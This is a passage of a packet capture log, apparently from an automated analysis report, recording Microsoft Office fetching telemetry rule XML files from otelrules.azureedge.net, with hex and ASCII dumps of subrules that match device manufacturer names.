T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:16 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:16 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:16 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c28a24b9-601e-0097-1e86-3df33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201216Z-15b8b599d889gj5whC1TEBfyk0000000036g00000000f3cr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 20:12:16 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:16 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:16 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 95105883-701e-001e-6118-3df5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201216Z-178bfbc474btvfdfhC1NYCa2en00000004z000000000dwxc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:16 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:16 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:16 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f19b5380-801e-0015-2749-3cf97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201216Z-15b8b599d889fz52hC1TEB59as000000039g00000000hhpq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:16 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:16 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:16 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: babf4520-701e-005c-6e46-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201216Z-15b8b599d8885prmhC1TEBsnkw00000003f000000000fybq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:16 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:16 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:16 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c49e358a-d01e-008e-6463-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201216Z-178bfbc474bgvl54hC1NYCsfuw000000050g000000003dqe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:16 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:18 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:18 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8157cc8d-f01e-0003-1961-3b4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201218Z-178bfbc474b7cbwqhC1NYC8z4n00000004ug00000000br6d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:19 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:18 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:18 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 87817176-601e-003e-034d-3c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201218Z-178bfbc474bgvl54hC1NYCsfuw00000004tg00000000q12u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:19 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:18 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:18 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 29297304-901e-0083-6776-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201218Z-174c587ffdf8fcgwhC1TEBnn7000000003mg000000007hpm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:19 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:18 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:19 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 52ac3eb7-c01e-0079-7e4e-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201219Z-15b8b599d88hr8sfhC1TEBbca400000003a0000000008van x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:19 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:18 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:19 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: bd408748-301e-0052-28b9-3d65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201219Z-15b8b599d88f9wfchC1TEBm2kc00000003n0000000002qwd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:19 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:21 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:21 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201221Z-178bfbc474bmqmgjhC1NYCy16c00000004z000000000eu5e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:21 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:21 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:21 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 64264af0-501e-005b-1fb0-3dd7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201221Z-174c587ffdfmlsmvhC1TEBvyks00000003h000000000f21p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:21 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 